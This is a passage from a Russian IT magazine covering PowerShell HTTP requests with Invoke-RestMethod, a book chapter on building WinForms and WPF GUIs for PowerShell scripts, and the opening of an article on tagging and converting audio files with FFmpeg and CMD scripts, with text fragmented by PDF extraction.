 "url": "http://httpbin.org/post"

}

Что бы работать с полями отве та, мы дол жны пре обра зовать JSON в объ ект
PowerShell с помощью коман дле та :ConvertFrom-Json

PS C:\Users\andrv> $response = $web.Content | ConvertFrom-Json
PS C:\Users\andrv> $response

args    :
data    :
files   :
form    : @{lastName=Popov; name=Andrey}
headers : @{Content-Length=26; Content-Type=application/x-www-form-
urlencoded; Host=htt
         pbin.org; User-Agent=Mozilla/5.0 (Windows NT; Windows NT 10
.0; ru-RU) Windows
         PowerShell/5.1.19041.1023; X-Amzn-Trace-Id=Root=1-60f2a42c-
18f152db3b76b5d66d
         173e31}
json    :
origin  : 85.95.179.209
url     : http://httpbin.org/post

PS C:\Users\andrv> $response.form.name
Andrey

В подоб ных слу чаях, ког да от сер вера мы получа ем струк туриро ван ные дан- 
ные, удоб нее поль зовать ся коман дле том , который дей- 

ству ет ана логич но  и име ет такие же парамет ры, но при

этом авто мати чес ки пре обра зует ответ от сер вера в объ ект PowerShell.

Invoke-RestMethod
Invoke-WebRequest

Вы пол ним наш зап рос с помощью , сох ранив резуль- 
тат в перемен ной :

Invoke-RestMethod
$result

PS C:\Users\andrv> $result = Invoke-RestMethod -Uri http://httpbin.
org/post -Method POST -Body @{name='Andrey'; lastName='Popov'}

Про верим тип и содер жимое перемен ной :$result

PS C:\Users\andrv> Get-Member -InputObject $result

  TypeName: System.Management.Automation.PSCustomObject

Name        MemberType   Definition
----        ----------   ----------
Equals      Method       bool Equals(System.Object obj)
GetHashCode Method       int GetHashCode()
GetType     Method       type GetType()
ToString    Method       string ToString()
args        NoteProperty System.Management.Automation.PSCusto...
data        NoteProperty string data=
files       NoteProperty System.Management.Automation.PSCusto...
form        NoteProperty System.Management.Automation.PSCusto...
headers     NoteProperty System.Management.Automation.PSCusto...
json        NoteProperty object json=null
origin      NoteProperty string origin=85.95.179.209
url         NoteProperty string url=http://httpbin.org/post
PS C:\Users\andrv> $result

args    :
data    :
files   :
form    : @{lastName=Popov; name=Andrey}
headers : @{Content-Length=26; Content-Type=application/x-www-form-
urlencoded; Host=htt
         pbin.org; User-Agent=Mozilla/5.0 (Windows NT; Windows NT 10
.0; ru-RU) Windows
         PowerShell/5.1.19041.1023; X-Amzn-Trace-Id=Root=1-60f2a897-
6354ce272644b6d412
         560a9b}
json    :
origin  : 85.95.179.209
url     : http://httpbin.org/post

Как видим, вмес то стро ки в фор мате JSON мы получа ем PowerShell-объ ект
типа  и можем сра зу

обра щать ся к нуж ным свой ствам:

System.Management.Automation.PSCustomObject

PS C:\Users\andrv> $result.form.lastName
Popov

ÈÒÎÃÈ

Итак, для обра щения к веб-ресур сам по про токо лу HTTP в PowerShell име- 
ются два стан дар тных коман дле та:  и 

. Для выпол нения HTTP-зап росов к веб-ресур сам, воз вра- 

щающим HTML-стра ницы, удоб нее исполь зовать коман длет 
, а для работы с внеш ними REST API, воз вра щающи ми струк- 

туриро ван ные дан ные, луч ше подой дет коман длет .

Invoke-WebRequest Invoke-
RestMethod

Invoke-
WebRequest

Invoke-RestMethod
Дей ству ют эти коман дле ты ана логич но друг дру гу, за исклю чени ем того,

что  авто мати чес ки пре обра зует ответ от сер вера в объ- 

ект PowerShell.

Invoke-RestMethod

https://docs.microsoft.com/ru-ru/dotnet/api/system.windows.forms.htmldocument?view=net-5.0
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ТРЮКИ

Ра ботая в тер минале, мы управля ем сце нари ями PowerShell
с помощью парамет ров, которые ука зыва ются в коман дной
стро ке при их вызове. Если с нашим сце нари ем будут
работать обыч ные поль зовате ли, то, добавив к нему прос той
гра фичес кий интерфейс, мож но изба вить их от необ- 
ходимос ти вво дить наз вания парамет ров. О том, как при- 
делать GUI к сце нари ям PowerShell, я сей час рас ска жу.

В Windows PowerShell дос тупны два вари анта соз дания GUI с помощью объ- 
ектов .NET Framework. Клас сичес кие эле мен ты интерфей са Windows мож но
добавить с помощью биб лиоте ки .NET Windows Forms (WinForms), которая
под держи валась в .NET c самого начала. Более сов ремен ный вари ант дизай- 
на реали зует ся с помощью тех нологии Windows Presentation Foundation (WPF),
которая была добав лена поз же в .NET Framework 3.0.

Современный PowerShell

Сов ремен ный PowerShell. Андрей Попов

Эта статья — гла ва из ,
вышед шей в изда тель стве «БХВ» в мар те это го года. В кни ге под робно опи- 
сан язык PowerShell и работа с обо лоч кой Windows PowerShell в Windows
Terminal, вза имо дей ствие с фай ловой сис темой, струк туриро ван ными дан- 
ными и веб-ресур сами. Автор раз бира ет управле ние про цес сами, служ бами
и сер верами авто мати зации, рас ска зыва ет, как соз дать GUI для сце нари ев
Windows PowerShell, уде ляет вни мание кросс-плат формен ным воз можнос тям
PowerShell в macOS и Linux.

кни ги Андрея Попова «Сов ремен ный PowerShell»

Ес ли ты адми нис три руешь рабочие стан ции, сер веры или локаль ные сети
под управле нием Windows, кни га «Сов ремен ный PowerShell» поможет тебе
осво ить сек реты и хит рости этой тех нологии и авто мати зиро вать мно жес тво
рутин ных задач.

ÏÎÑÒÐÎÅÍÈÅ GUI Ñ ÏÎÌÎÙÜÞ WINDOWS FORMS

Да вай соз дадим прос тей шую фор му с над писью и кноп кой, выпол няя коман- 
ды непос редс твен но в кон соли PowerShell.

Как мы зна ем, плат форма .NET пос тро ена таким обра зом, что для обра- 
щения к тем или иным объ ектам нуж но пред варитель но заг рузить в опе раци- 
онную память соот ветс тву ющую сбор ку (assembly) — динами чес кую биб- 
лиоте ку опре делен ного вида. Наибо лее час то исполь зующиеся сбор ки заг- 
ружа ются в PowerShell авто мати чес ки. Для обра щения к объ ектам WinForms
из PowerShell нуж но сна чала заг рузить сбор ку, под держи вающую эти объ- 
екты:

PS C:\Users\andrv> Add-Type -Assemblyname System.Windows.Forms

Гра фичес кий интерфейс в тер минах WinForms — это набор эле мен тов
управле ния (кноп ки, поля вво да, спис ки, флаж ки и т. д.), которые рас полага- 
ются в кон тей нерах (фор мы, панели, вклад ки). Изме няя зна чения свой ств
объ ектов, соот ветс тву ющих эле мен там управле ния, мы опре деля ем внеш ний
вид этих эле мен тов (раз мер, цвет фона, исполь зуемый шрифт и т. д.).

Лю бое гра фичес кое при ложе ние WinForms дол жно иметь глав ную фор- 
му — объ ект типа . Соз дадим нашу глав ную фор му

и сох раним соот ветс тву ющий объ ект в перемен ной :

Windows.Forms.Form
$form

PS C:\Users\andrv> $form = New-Object System.Windows.Forms.Form

На ша фор ма пока находит ся толь ко в опе ратив ной памяти, на экра не мы ее
не видим. Зададим заголо вок фор мы (свой ство  объ екта ):Text $form

PS C:\Users\andrv> $form.Text = 'Первая форма'

По мес тим на фор му над пись — для это го нуж но соз дать объ ект типа 

 и прис воить зна чение свой ству  это го объ екта:

System.
Windows.Forms.Label Text

PS C:\Users\andrv> $label = New-Object System.Windows.Forms.Label
PS C:\Users\andrv> $label.Text = 'Привет!'

Кро ме над писи, на фор му мож но помещать дру гие эле мен ты управле ния,
которым соот ветс тву ют объ екты из прос транс тва имен 

. Некото рые из этих объ ектов пред став лены в таб лице ниже.

System.Windows.
Forms

Îá

ú- 

åêò

Îïè ñàíèå

Butt
on

Кноп ка на фор ме. Над пись на кноп ке зада ется свой ством Text

Che
ckBo
x

Фла жок (чек бокс) — эле мент управле ния для выбора одно го
или нес коль ких пун ктов из пред ложен ных вари антов

Che
cked
ListB
ox

Сос тоит из спис ка эле мен тов (ListBox), перед каж дым из которых
помещен фла жок (чек бокс) для воз можнос ти выбора

Com
boB
ox

Сос тоит из поля для вво да тек ста (TextBox) и свя зан ного с ним
рас кры вающе гося спис ка зна чений (ListBox)

Data
Grid
View

Ос новной эле мент управле ния для пред став ления таб личных дан- 
ных (под держи вает связь с базой дан ных)

Grou
pBox

Ис поль зует ся для выделе ния групп эле мен тов управле ния (чаще
все го ради окно пок), воз ле которых отоб ража ется рам ка

Imag
eList

Кон тей нер для раз мещения кол лекции изоб ражений, исполь- 
зуемых дру гими эле мен тами управле ния (нап ример, ListView
и TreeView)

ListB
ox

Спи сок эле мен тов, которые могут быть выб раны. Может содер- 
жать прос той текст или объ екты

Pane
l

Ви димый или невиди мый кон тей нер для груп пиров ки эле мен тов
управле ния

Pictu
reBo
x

Ис поль зует ся для раз мещения гра фичес ких изоб ражений в нес- 
коль ких стан дар тных фор матах

Prog
ress
Bar

Ин дикатор хода выпол нения какого-либо про цес са

Radi
oBut
ton

Пе рек лючатель (ради окнопка) для выбора одно го вари анта
из спис ка пред ложен ных

Text
Box

Эле мент для вво да тек ста в одной или нес коль ких стро ках

Tree
View

Отоб ражение дан ных в виде узлов дерева

Для задания раз меров и рас положе ния эле мен тов управле ния исполь зуют ся
объ екты типа , в которые переда ются коор динаты:
пер вая — по горизон тали, вто рая — по вер тикали (начало коор динат раз- 
меща ется в вер хнем левом углу, ось X нап равле на впра во, ось Y — вниз).
Нашу над пись мы смес тим от вер хне го левого угла на 20 пик селов впра во
и 10 пик селов вниз. Объ ект с нуж ными коор дината ми записы вает ся в свой- 
ство  объ екта :

System.Drawing.Point

Location $label

PS C:\Users\andrv> $label.Location = New-Object System.Drawing.Point 
20,10

По ка над пись пред став ляет собой отдель ный объ ект, который не свя зан
с основной фор мой. Помес тим над пись на фор му, добавив объ ект 

в кол лекцию  с помощью метода :

$label
$form.Controls Add

PS C:\Users\andrv> $form.Controls.Add($label)

Те перь соз дадим кноп ку (объ ект типа ) с над писью
«Наж ми!»:

Windows.Forms.Button

PS C:\Users\andrv> $button = New-Object Windows.Forms.Button
PS C:\Users\andrv> $button.Text = "Нажми!"

За дадим коор динаты для кноп ки:

PS C:\Users\andrv> $button.Location = New-Object System.Drawing.Point
20,40

По мес тим кноп ку на фор му:

PS C:\Users\andrv> $form.Controls.Add($button)

Те перь добавим нашей фор ме фун кци ональ ность — по нажатию кноп ки
 текст в над писи l будет менять ся на «Пока!». Для это го

с помощью метода  нуж но опре делить обра бот чик события 

на кноп ке. В этот метод переда ется блок кода, который будет выпол нен
при нажатии кноп ки. В нашем слу чае дос таточ но изме нить зна чение свой ства

$button $labe
Add_Click Click

$label.Text:

PS C:\Users\andrv> $button.Add_Click({$label.Text='Пока!'})

Ес ли бы обра бот чик события был более объ емный, то удоб нее было бы
заранее сох ранить соот ветс тву ющий блок кода в перемен ной, которую затем
передать в метод .Add_Click

Те перь с помощью метода  мож но отоб разить соз данную фор- 

му с эле мен тами управле ния на экра не.

ShowDialog

PS C:\Users\andrv> $form.ShowDialog()

Фор ма, соз данная в PowerShell

По нажатию кноп ки над пись на фор ме изме нит ся.

Из менения в эле мен те на фор ме

Итак, мы рас смот рели прос тей ший при мер соз дания фор мы в PowerShell
с помощью биб лиоте ки WinForms. Более слож ные интерфей сы реали зуют ся
по той же схе ме:
1. Заг ружа ем сбор ку .System.Windows.Forms
2. Соз даем объ екты, соот ветс тву ющие глав ной фор ме, кон тей нерам и эле- 

мен там управле ния.
3. При вязы ваем эле мен ты управле ния к нуж ным кон тей нерам и фор ме.
4. Зада ем свой ства эле мен тов управле ния, опре деля ющие их внеш ний вид

и рас положе ние внут ри кон тей неров.
5. Пишем бло ки кода для обра бот чиков событий и при вязы ваем их к эле мен- 

там управле ния.
6. Показы ваем глав ную фор му на экра не.

Как видим, при соз дании гра фичес кого интерфей са на PowerShell с помощью
WinForms зна читель ная часть работы при ходит ся на написа ние шаб лонно го
кода для соз дания эле мен тов управле ния и задания их свой ств. Конеч но,
нам ного удоб нее и про ще было бы стро ить интерфейс с помощью визу аль- 
ного конс трук тора с даль нейшей авто мати чес кой генера цией соот ветс тву- 
юще го кода на язы ке PowerShell. Подоб ные конс трук торы есть в некото рых
плат ных про фес сиональ ных сре дах раз работ ки для PowerShell (нап ример
в ) или в сер висе . Из бес- 
плат ных инс тру мен тов мож но выделить ути литу ,
которая сама написа на на PowerShell.

Sapien PowerShell Studio PowerShell GUI Designer
PowerShell WinForms Creator

Та ким обра зом, при работе с WinForms код для опи сания интерфей са
(соз дание объ ектов для эле мен тов управле ния) ока зыва ется тес но свя зан- 
ным с кодом, опре деля ющим фун кци ональ ность сце нария (обра бот чики
событий на эле мен тах управле ния и дру гие фун кции). Вно сить изме нения
в такие сце нарии неудоб но, они быс тро раз раста ются и ста новят ся слиш ком
объ емны ми и слож ными для понима ния.

Бо лее пра виль ный под ход, ког да дек ларатив ное опи сание гра фичес кого
интерфей са отде ляет ся от осталь ного кода, обес печива ет тех нология
Windows Presentation Foundation (WPF).

Продолжение статьи →

mailto:andpop@mail.ru
https://bhv.ru/product/sovremennyj-powershell/
https://www.sapien.com/software/powershell_studio
https://poshgui.com/
https://www.pswinformscreator.com/


СЕКРЕТЫ

POWERSHELL
СОЗДАЕМ ГРАФИЧЕСКИЙ ИНТЕРФЕЙС

ДЛЯ СЦЕНАРИЕВ

ТРЮКИ  НАЧАЛО СТАТЬИ←

ÏÎÑÒÐÎÅÍÈÅ GUI Ñ ÏÎÌÎÙÜÞ WINDOWS PRESENTATION

FOUNDATION

При исполь зовании WPF гра фичес кий интерфейс опи сыва ется с помощью
базиру юще гося на XML язы ка раз метки XAML (Extensible Application Markup
Language). Таким обра зом, дизайн интерфей са отде ляет ся от логики сце- 
нария, работа юще го с этим интерфей сом.

Для работы с объ екта ми WPF в PowerShell нуж но заг рузить сбор ку
PresentationFramework:

PS C:\Users\andrv> Add-Type -AssemblyName PresentationFramework

Соз дадим сна чала прос тей шее диало говое окно без эле мен тов раз- 
мером 300 на 200 пик селов и заголов ком «Фор ма WPF». На пер вом шаге
с помощью here-string соз дадим стро ку  с XML-раз меткой, содер жащей

один тег  с атри бута ми ,  и , и пре обра зуем эту

стро ку в объ ект XML:

$xaml
<Window/> Width Height Title

PS C:\Users\andrv> [xml]$xaml = @"
>> <Window
>>     xmlns="http://schemas.microsoft.com/winfx/2006/xaml/
presentation"
>>     xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>>     x:Name="Window" Title="Форма WPF" Height="200" Width="300"
>> />
>> "@

Ат рибут  здесь опре деля ет прос транс тво имен, содер жащее име на
эле мен тов и атри бутов, которые мож но исполь зовать в раз метке Windows
Presentation Foundation. Пре фикс  перед атри бутом ука зыва ет на то, что дан- 

ный атри бут отно сит ся к дан ному прос транс тву имен.

xmlns

x

Соз дадим теперь экзем пляр клас са , передав ему объ ект

 в качес тве аргу мен та. Получен ный объ ект сох раним в перемен ной

$reader:

XmlNodeReader
$xaml

PS C:\Users\andrv> $reader = (New-Object System.Xml.XmlNodeReader 
$xaml)

Объ ект, соот ветс тву ющий диало гово му окну, соз дает ся с помощью ста тичес- 
кого метода  клас са . В этот метод переда ется объ ект

:
Load() XamlReader

$reader

PS C:\Users\andrv> $window = [Windows.Markup.XamlReader]::Load(
$reader)

Те перь окно мож но отоб разить на экра не с помощью метода .ShowDialog

PS C:\Users\andrv> $window.ShowDialog()

Пус тая фор ма WPF

При этом работа обо лоч ки PowerShell при оста новит ся, для вво да сле дующей
коман ды нуж но зак рыть наше диало говое окно. Добавим в нашу фор му эле- 
мент , зада ющий сет ку для раз мещения дру гих эле мен тов управле ния.<Grid>

PS C:\Users\andrv> [xml]$xaml = @"
>> <Window
>>     xmlns="http://schemas.microsoft.com/winfx/2006/xaml/
presentation"
>>     xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>>     x:Name="Window" Title="Форма WPF" Height="200" Width="300"
>> >
>>     <Grid x:Name="Grid">
>>         <Grid.RowDefinitions>
>>             <RowDefinition Height="Auto"/>
>>             <RowDefinition Height="Auto"/>
>>         </Grid.RowDefinitions>
>>         <Grid.ColumnDefinitions>
>>             <ColumnDefinition Width="Auto"/>
>>             <ColumnDefinition Width="Auto"/>
>>         </Grid.ColumnDefinitions>
>>     </Grid>
>> </Window>
>> "@

Сет ка не отоб ража ется на экра не, поэто му внеш ний вид глав ной фор мы
(диало гово го окна) не изме нит ся, фор ма оста нет ся пус той. 
По мес тим теперь на фор му над пись (тег  с име нем ) и кноп ку
(тег  с име нем ). Над писи в этих эле мен тах зада ются

с помощью атри бута , рас положе ние эле мен та в ячей ке сет ки опре- 

деля ется с помощью атри бутов  и .

<Label> Message
<Button> ChangeMessage

Content
Grid.Column Grid.Row

PS C:\Users\andrv> [xml]$xaml = @"
>> <Window
>>     xmlns="http://schemas.microsoft.com/winfx/2006/xaml/
presentation"
>>     xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>>     x:Name="Window" Title="Форма WPF" Height="200" Width="300"
>> >
>>     <Grid x:Name="Grid">
>>         <Grid.RowDefinitions>
>>             <RowDefinition Height="Auto"/>
>>             <RowDefinition Height="Auto"/>
>>         </Grid.RowDefinitions>
>>         <Grid.ColumnDefinitions>
>>             <ColumnDefinition Width="Auto"/>
>>             <ColumnDefinition Width="Auto"/>
>>         </Grid.ColumnDefinitions>
>>         <Label x:Name="Message"
>>             Content="Привет!"
>>             Grid.Column="0"
>>             Grid.Row="0"
>>         />
>>         <Button x:Name="ChangeMessage"
>>             Content="Нажми!"
>>             Grid.Column="1"
>>             Grid.Row="1"
>>         />
>>     </Grid>
>> </Window>
>> "@

Отоб разим фор му на экра не:

C:\Users\andrv> $reader = (New-Object System.Xml.XmlNodeReader $xaml)
PS C:\Users\andrv> $window = [Windows.Markup.XamlReader]::Load(
$reader)
PS C:\Users\andrv> $window.ShowDialog()

WPF-фор ма с эле мен тами управле ния

С помощью коман ды  помес тим XAML-раз метку для нашей фор- 

мы в файл :

Set-Content
wpf_test.xaml

PS C:\Users\andrv> @"
>> <Window
>>     xmlns="http://schemas.microsoft.com/winfx/2006/xaml/
presentation"
>>     xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>>     x:Name="Window" Title="Форма WPF" Height="200" Width="300"
>> >
>>     <Grid x:Name="Grid">
>>         <Grid.RowDefinitions>
>>             <RowDefinition Height="Auto"/>
>>             <RowDefinition Height="Auto"/>
>>         </Grid.RowDefinitions>
>>         <Grid.ColumnDefinitions>
>>             <ColumnDefinition Width="Auto"/>
>>             <ColumnDefinition Width="Auto"/>
>>         </Grid.ColumnDefinitions>
>>         <Label x:Name="Message"
>>             Content="Привет!"
>>             Grid.Column="0"
>>             Grid.Row="0"
>>         />
>>         <Button x:Name="ChangeMessage"
>>             Content="Нажми!"
>>             Grid.Column="1"
>>             Grid.Row="1"
>>         />
>>     </Grid>
>> </Window>
>> "@ | Set-Content -Path ./wpf_test.xaml -Encoding UTF8

Те перь для отоб ражения фор мы мы можем про читать ее раз метку из фай ла:

PS C:\Users\andrv> [xml]$xaml = Get-Content -Path .\wpf_test.xaml 
-Encoding UTF8
PS C:\Users\andrv> $reader = (New-Object System.Xml.XmlNodeReader 
$xaml)
PS C:\Users\andrv> $window = [Windows.Markup.XamlReader]::Load(
$reader)

Ос талось добавить фор ме фун кци ональ ность, соз дав обра бот чики нуж ных
событий, воз ника ющих на эле мен тах управле ния. Это дела ется прак тичес ки
так же, как и при исполь зовании WinForms, за исклю чени ем того, что нам нуж- 
но пред варитель но соз дать объ екты-перемен ные, соот ветс тву ющие эле мен- 
там управле ния заг ружен ной фор мы.

На пом ним, что для тегов эле мен тов управле ния мы задава ли атри бут
Name из прос транс тва имен XAML-раз метки для WPF:

 <Label x:Name="Message"
  ...
/>

 <Button x:Name="ChangeMessage"
  ...
/>

По зна чению атри бута  с помощью метода  получим

ссыл ки на соот ветс тву ющие эле мен ты управле ния:

Name $window.FindName()

PS C:\Users\andrv> $messageLabel = $window.FindName("Message")
PS C:\Users\andrv> $changeButton = $window.FindName("ChangeMessage")

Пусть, как и в при мере с WinForms, при нажатии кноп ки текст над писи в нашей
фор ме дол жен изме нить ся на «Пока!». Для это го зададим обра бот чик
события  на кноп ке с помощью метода :Click Add_Click

PS C:\Users\andrv> $changeButton.Add_Click({$messageLabel.Content=
'Пока!'})

Те перь фор му мож но отоб разить на экра не и про верить резуль тат нажатия
кноп ки.

PS C:\Users\andrv> $window.ShowDialog()

Из менение содер жимого эле мен та управле ния на WPF-фор ме

Итак, при работе с гра фичес ким интерфей сом с помощью WPF нуж но выпол- 
нить сле дующие шаги:
1. Соз дать XAML-файл с опи сани ем интерфей са.
2. Под клю чить сбор ку PresentationFramework.
3. Соз дать объ ект, соот ветс тву ющий фор ме, заг рузив ее опи сание в фор- 

мате XAML.
4. Опре делить перемен ные (объ екты), соот ветс тву ющие эле мен там

управле ния в фор ме.
5. Написать бло ки кода для обра бот чиков событий и при вязать их к объ- 

ектам, соз данным на пре дыду щем шаге.
6. Отоб разить глав ную фор му на экра не.

Та ким обра зом, при работе с WPF мы можем соз давать и изме нять дизайн
интерфей са незави симо от его фун кци она ла. Кро ме того, XAML-опи сание
фор мы не зависит от спе цифи ки PowerShell, как это было в слу чае интерфей- 
са на базе WinForms, поэто му вари антов выбора визу аль ного конс трук тора
для пос тро ения форм ста новит ся боль ше.

Кро ме плат ных спе циали зиро ван ных сред раз работ ки сце нари ев
PowerShell (Sapien PowerShell Studio, PowerShell GUI Designer), мож но вос- 
поль зовать ся бес плат ной плат формой Microsoft — Visual Studio Community
Edition. Ска чать Visual Studio мож но с . Для пос тро ения
интерфей са фор мы и получе ния ее XAML-раз метки нуж но при запус ке Visual
Studio соз дать новый про ект «При ложе ние WPF (.NET Framework)».

сай та Microsoft

Соз дание WPF-при ложе ния в Visual Studio

При соз дании такого при ложе ния мож но нас тро ить дизайн фор мы с помощью
гра фичес кого конс трук тора.

Конс трук тор для WPF-форм в Visual Studio

В резуль тате будет авто мати чес ки сфор мирован XAML-файл, с которым мож- 
но работать в PowerShell.

ÈÒÎÃÈ

До бавить гра фичес кий интерфейс к сце нари ям Windows PowerShell мож но
с помощью биб лиотек Windows Forms (WinForms) или Windows Presentation
Foundation (WPF). При исполь зовании WinForms эле мен ты интерфей са соз- 
дают ся и нас тра ивают ся непос редс твен но в коде PowerShell. Средс тва
для визу аль ного редак тирова ния подоб ных форм встро ены в про фес- 
сиональ ные сре ды раз работ ки сце нари ев PowerShell.

При работе с WPF дизайн интерфей са, опи сыва емый с помощью раз метки
в фор мате XAML, не свя зан с кодом PowerShell. Соз давать и редак тировать
WPF-фор мы мож но с помощью визу аль ного конс трук тора в бес плат ной вер- 
сии Microsoft Visual Studio.

https://visualstudio.microsoft.com/ru/vs/community/
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ТРЮКИ

Лю бите ли музыки час то стал кива ются с необ ходимостью
навес ти порядок в собс твен ной кол лекции ауди офай лов.
А если ауди офай лов очень мно го, это прев раща ется в проб- 
лему. В сегод няшней статье мы раз берем спо соб авто мати- 
чес кой кон верта ции и анно тиро вания ауди офай лов
в Windows с помощью ути литы FFmpeg и CMD-сце нари ев.

Нас тупила вес на, приб лижа ется лето, и хочет ся про водить сво бод ное вре мя
на при роде, вды хая све жий воз дух и слу шая голоса птиц. Если же нас кучит
лес ная идил лия, всег да мож но раз нооб разить отдых любимой музыкаль ной
ком позици ей, ауди окни гой, кур сами инос тран ного язы ка или обще обра зова- 
тель ными лек циями. Замече но, что ауди опле еры, будь то отдель ные устрой- 
ства или при ложе ния для смар тфо на, гораз до луч ше работа ют с ауди окол- 
лекци ями, фай лы которых содер жат све дения об аль бомах и тре ках в них.

Ли цен зион ные матери алы, как пра вило, соп ровож дают ся все ми необ- 
ходимы ми атри бута ми. Но есть еще любитель ские и дик тофон ные записи,
оциф ровки грам плас тинок и ауди окас сет, сво бод но рас простра няемые ком- 
позиции, которые надо упо рядо чить и под писать. А еще желатель но при вес ти
парамет ры фай лов в соот ветс твие с хра нящи мися в них ауди одан ными. Нап- 
ример, оциф рован ную плас тинку «Мелодия» с мар киров кой «Моно»
и записью бар дов ских песен, исполняв шихся пол века назад на кон церте
в каком-нибудь про вин циаль ном доме куль туры, мож но сох ранить в фор мате
FLAC для исто рии, но нет никако го прак тичес кого смыс ла записы вать ее
на пор татив ный про игры ватель в сте реофор мате с час тотой дис кре тиза- 
ции 48 кГц и ско ростью потока 320 Кбит/с.

Для кон верта ции ауди офай лов и редак тирова ния их тегов есть мно жес тво
прог рамм, как плат ных, так и сво бод но рас простра няемых, с интерфей сами
раз личной сте пени изя щес тва и удобс тва. Но боль шинс тво из них — обо лоч- 
ки вок руг одно го-двух про ектов с откры тым исходным кодом, в которых
как раз и реали зова на вся необ ходимая фун кци ональ ность. Как пра вило,
в осно ве лежит ути лита коман дной стро ки, обла дающая широким набором
воз можнос тей, а гра фичес кая обо лоч ка откры вает дос туп к их под мно жес тву,
отоб ранно му по прин ципу решения отдель ной поль зователь ской проб лемы.

Не дав но я занимал ся пакет ной обра бот кой изоб ражений, для чего
исполь зовал . И слу чай но обна ружил, что в сос тав ее
дис три бути ва вхо дит , которая, как извес тно, уме ет выпол нять
мно жес тво опе раций над меди афай лами. Почему бы не вос поль зовать ся ею
для кон верта ции и осна щения тегами фай лов моей ауди окол лекции?
Но запус кать ути литу коман дной стро ки и ука зывать мно жес тво парамет ров
для каж дого MP3-фай ла доволь но уто митель но, и оче вид но, что про цесс
надо авто мати зиро вать.

прог рамму ImageMagick
ути лита FFmpeg

Из все го богато го спек тра интер пре тиру емых язы ков и сис тем прог- 
рамми рова ния, с помощью которых мож но было бы лег ко реали зовать эту
затею, я оста новил ся на самом при митив ном инс тру мен те — язы ке сце нари- 
ев коман дно го про цес сора Windows. Почему? Во-пер вых, он име ется
на любой Windows-плат форме, от W2K до W11. Во-вто рых, он нап рямую пред- 
назна чен для авто мати зации рутин ных опе раций с фай лами. А в-треть их, он
име ет встро енную соп роводи тель ную докумен тацию — что бы получить
справ ку, не при дет ся даже откры вать бра узер.

Итак, сфор мулиру ем задачу. Даны ауди оаль бомы, пред став ленные
набора ми ауди офай лов. Тре бует ся добавить к этим фай лам изоб ражение
обложки аль бома и опи сатель ных тегов из тек сто вого фай ла, а так же
при необ ходимос ти кон верти ровать эти фай лы в фор мат MP3 с уста нов кой
тре буемых парамет ров ауди одан ных. Для решения задачи попыта емся
исполь зовать прог рамму FFmpeg и язык сце нари ев коман дной обо лоч ки

, пока кор порация-раз работ чик не отпра вила его на свал ку исто рии
вслед за Paint’ом.
CMD.EXE

ÈÇÓ×ÅÍÈÅ ÂÎÇÌÎÆÍÎÑÒÅÉ FFMPEG

На чать решение задачи я решил с изу чения воз можнос тей FFmpeg в инте- 
ресу ющей меня области. В том, что она спра вит ся с кон верта цией ауди офай- 
лов из одно го фор мата в дру гой, я поч ти не сом невал ся. Но суме ет ли она
прик репить изоб ражение обложки и добавить информа цион ные теги
в резуль тиру ющие фай лы?

Мои сом нения были раз веяны 
, в которой автор при вел при- 

меры инте ресу ющих меня команд. Основная идея зак люча ется в том, что зна- 
чения тегов ука зыва ются прог рамме FFmpeg в виде парамет ров:

стать ей Сте фана Шмит ца «Получе ние
и уста нов ка метате гов ID3 с помощью FFmpeg»

-metadata НазваниеТега="ЗначениеТега"

Бо лее того, в статье име ется при мер исполь зования тек сто вого фай ла
в качес тве источни ка тегов. К сожале нию, для это го нуж но соз давать отдель- 
ные тек сто вые фай лы с тегами для каж дого ауди офай ла, тог да как гораз до
удоб нее все све дения о содер жимом ауди оаль бома дер жать в одном тек сто- 
вом фай ле.

Ука зывать пол ный путь к исполня емо му фай лу FFmpeg в коман дной стро ке
край не неудоб но. Обыч но при уста нов ке прог раммы пред лага ют вклю чить
путь в сис темную перемен ную окру жения , но я пред почитаю ее

не засорять. Вмес то это го мож но помес тить в пап ку, уже при сутс тву ющую
в этой перемен ной, коман дный файл  сле дующе го содер жания:

PATH

ffmpeg.cmd

@"%ProgramFiles%\ImageMagick-7.1.0-Q8\ffmpeg.exe" %*

Сим вол  подав ляет эхо-печать коман дной стро ки, а вмес то сочета ния 
при выпол нении будут под став лены все парамет ры, передан ные сце нарию

. Таким обра зом, исполь зовать FFmpeg из коман дной стро ки

для кон верта ции фай ла  в  мож но так:

@ %*

ffmpeg.cmd
SRC\sample.wav TGT\sample.mp3

ffmpeg.cmd -i SRC\sample.wav TGT\sample.mp3

От вет на воп рос, мож но ли с помощью FFmpeg снаб дить MP3-файл изоб- 
ражени ем обложки, был прак тичес ки момен таль но получен в поис ковой сис- 
теме. Ока залось, что с точ ки зре ния FFmpeg изоб ражение обложки явля ется
для MP3-фай ла виде опо током и, что бы скле ить его с ауди одан ными, надо
вос поль зовать ся коман дой вида

ffmpeg -i SRC\audio.mp3 -i SRC\cover.jpg -map 0 -map 1 -id3v2_version
3 -metadata:s:v title="Album cover" TGT\audio.mp3

С помощью опций  источни ки дан ных из вход ных фай лов отоб ража ются
в потоки выход ного фай ла. Пер вая опция опре деля ет пер вый поток, ее
параметр  говорит о том, что надо исполь зовать пер вый ука зан ный

с помощью опции  источник, в при веден ном при мере это ауди одан ные
из фай ла . Вто рая опция опре деля ет вто рой поток, ее

параметр  говорит, что надо исполь зовать вто рой ука зан ный с помощью

опции  источник — изоб ражение из фай ла .

-map

0
-i

SRC\audio.mp3
1

-i SRC\cover.jpg

Сли яние фай лов с ауди одан ными и изоб ражени ем в аудио- и виде опо -
токи фай ла-кон тей нера MP3

По умол чанию FFmpeg авто мати чес ки кодиру ет потоки в соот ветс твии
со сво ими пре дус танов ками так, что бы они отве чали фор мату выход ного
фай ла (опре деля ется по рас ширению). Нап ример, аудио она кон верти рует
кодеком LAME с час тотой дис кре тиза ции 44 100 Гц и ско ростью
потока 128 Кбит/с, а изоб ражение пре обра зует в фор мат PNG. Если манипу- 
ляции с обложкой еще мож но прос тить, то опи сан ные дей ствия со зву ком
мелома ны могут вос при нять как лич ное оскор бле ние. К счастью, мож но зап- 
ретить прог рамме выпол нять какие бы то ни было пре обра зова ния, ука зав
в коман дной стро ке опцию . Или зап ретить пре обра зовы вать толь ко
аудио, кон кре тизи ровав опцию так: .

-c copy
-c:a copy

Оп ция  тре бует исполь зовать вер сию 2.3 тегов ID3.

Без нее записан ное в выход ной файл изоб ражение не будет отыс кивать ся
